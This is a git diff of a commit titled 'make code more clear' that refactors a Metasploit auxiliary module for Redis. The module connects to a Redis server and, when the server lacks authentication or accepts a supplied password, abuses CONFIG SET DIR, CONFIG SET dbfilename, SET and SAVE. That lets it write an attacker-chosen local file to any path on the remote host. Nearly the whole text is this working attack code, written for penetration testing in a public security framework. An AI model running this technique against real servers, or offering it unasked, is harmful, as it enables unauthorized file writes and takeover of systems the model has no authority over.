make code more clear
parent
42013c18ba
commit
0d8fc78257
|
@ -24,8 +24,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
['URL', 'http://antirez.com/news/96'],
|
['URL', 'http://antirez.com/news/96'],
|
||||||
['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'],
|
['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'],
|
||||||
['URL', 'http://redis.io/topics/protocol']
|
['URL', 'http://redis.io/topics/protocol']
|
||||||
]
|
]))
|
||||||
))
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(6379),
|
Opt::RPORT(6379),
|
||||||
|
@ -40,14 +39,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def read_timeout
|
|
||||||
datastore['READ_TIMEOUT']
|
|
||||||
end
|
|
||||||
|
|
||||||
def peer
|
def peer
|
||||||
"#{rhost}:#{rport}"
|
"#{rhost}:#{rport}"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def read_timeout
|
||||||
|
datastore['READ_TIMEOUT']
|
||||||
|
end
|
||||||
|
|
||||||
def redis_proto(parts)
|
def redis_proto(parts)
|
||||||
return if parts.blank?
|
return if parts.blank?
|
||||||
command = "*#{parts.length}\r\n"
|
command = "*#{parts.length}\r\n"
|
||||||
|
@ -57,23 +56,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
command
|
command
|
||||||
end
|
end
|
||||||
|
|
||||||
def send_command(command)
|
def redis_auth?(password)
|
||||||
command = redis_proto(command)
|
data = send_command(['AUTH', "#{password}"])
|
||||||
sock.put(command)
|
|
||||||
sock.get_once(-1, read_timeout)
|
|
||||||
end
|
|
||||||
|
|
||||||
def auth?(password)
|
|
||||||
report_service(
|
|
||||||
host: rhost,
|
|
||||||
port: rport,
|
|
||||||
name: 'redis',
|
|
||||||
proto: 'tcp'
|
|
||||||
)
|
|
||||||
|
|
||||||
command = ['AUTH', "#{password}"]
|
|
||||||
data = send_command(command)
|
|
||||||
vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}")
|
|
||||||
if data && data.include?('+OK')
|
if data && data.include?('+OK')
|
||||||
true
|
true
|
||||||
else
|
else
|
||||||
|
@ -81,66 +65,60 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def send_command(command)
|
||||||
|
sock.put("#{redis_proto(command)}")
|
||||||
|
data = sock.get_once(-1, read_timeout)
|
||||||
|
vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump}")
|
||||||
|
data
|
||||||
|
end
|
||||||
|
|
||||||
def send_file(path, content)
|
def send_file(path, content)
|
||||||
report_service(
|
|
||||||
host: rhost,
|
|
||||||
port: rport,
|
|
||||||
name: 'redis',
|
|
||||||
proto: 'tcp'
|
|
||||||
)
|
|
||||||
|
|
||||||
dirname = File.dirname(path)
|
|
||||||
basename = File.basename(path)
|
|
||||||
|
|
||||||
key = Rex::Text.rand_text_alpha(32)
|
key = Rex::Text.rand_text_alpha(32)
|
||||||
command = ['CONFIG', 'SET', 'DIR', "#{dirname}"]
|
commands = [
|
||||||
data = send_command(command)
|
['CONFIG', 'SET', 'DIR', "#{File.dirname(path)}"],
|
||||||
vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}")
|
['CONFIG', 'SET', 'dbfilename', "#{File.basename(path)}"],
|
||||||
return unless data.include?('+OK')
|
['SET', "#{key}", "#{content}"],
|
||||||
|
['SAVE'],
|
||||||
|
['DEL', "#{key}"]
|
||||||
|
]
|
||||||
|
|
||||||
command = ['CONFIG', 'SET', 'dbfilename', "#{basename}"]
|
results = []
|
||||||
data = send_command(command)
|
commands.each do |command|
|
||||||
vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}")
|
results << send_command(command)
|
||||||
return unless data.include?('+OK')
|
end
|
||||||
|
|
||||||
command = ['SET', "#{key}", "#{content}"]
|
return unless results[3] && results[3].include?('+OK')
|
||||||
data = send_command(command)
|
print_good("#{peer} - write data to redis server #{path}")
|
||||||
vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}")
|
|
||||||
return unless data.include?('+OK')
|
|
||||||
print_good("#{rhost}:#{rport}: save file to #{path}")
|
|
||||||
report_note(
|
report_note(
|
||||||
type: 'redis_unauth_file_upload',
|
type: 'redis_unauth_file_upload',
|
||||||
host: rhost,
|
host: rhost,
|
||||||
port: rport,
|
port: rport,
|
||||||
proto: 'tcp',
|
proto: 'tcp',
|
||||||
data: "Save it to #{path} on remote server successfully",
|
data: "write data to redis server #{path}"
|
||||||
)
|
)
|
||||||
|
|
||||||
command = ['SAVE']
|
|
||||||
data = send_command(command)
|
|
||||||
vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}")
|
|
||||||
return unless data.include?('+OK')
|
|
||||||
|
|
||||||
command = ['DEL', "#{key}"]
|
|
||||||
data = send_command(command)
|
|
||||||
vprint_status("#{peer} - REDIS Command: #{command.join(' ').dump} - #{data.chop}")
|
|
||||||
return unless data.include?('+OK')
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
begin
|
begin
|
||||||
connect
|
connect
|
||||||
res = send_command(['PING'])
|
res = send_command(['PING'])
|
||||||
print_status("#{peer} - No Response") unless res
|
unless res
|
||||||
|
print_status("#{peer} - No response")
|
||||||
if res =~ /PONG/
|
return
|
||||||
content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n"
|
|
||||||
send_file(datastore['RemoteFile'], content)
|
|
||||||
elsif res =~ /NOAUTH Authentication required/
|
|
||||||
if auth?(datastore['AUTH_KEY'])
|
|
||||||
content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n"
|
|
||||||
send_file(datastore['RemoteFile'], content)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
case res
|
||||||
|
when /PONG/
|
||||||
|
print_status("#{peer} - No authentication protection")
|
||||||
|
content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n"
|
||||||
|
send_file(datastore['RemoteFile'], content)
|
||||||
|
when /NOAUTH Authentication required/
|
||||||
|
print_status("#{peer} - Trying to auth redis server")
|
||||||
|
return unless redis_auth?(datastore['AUTH_KEY'])
|
||||||
|
content = "\n\n#{File.open(datastore['LocalFile']).read}\n\n\n"
|
||||||
|
send_file(datastore['RemoteFile'], content)
|
||||||
|
else
|
||||||
|
print_status("#{peer} - #{res}")
|
||||||
end
|
end
|
||||||
|
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
|
|
Loading…
Reference in New Issue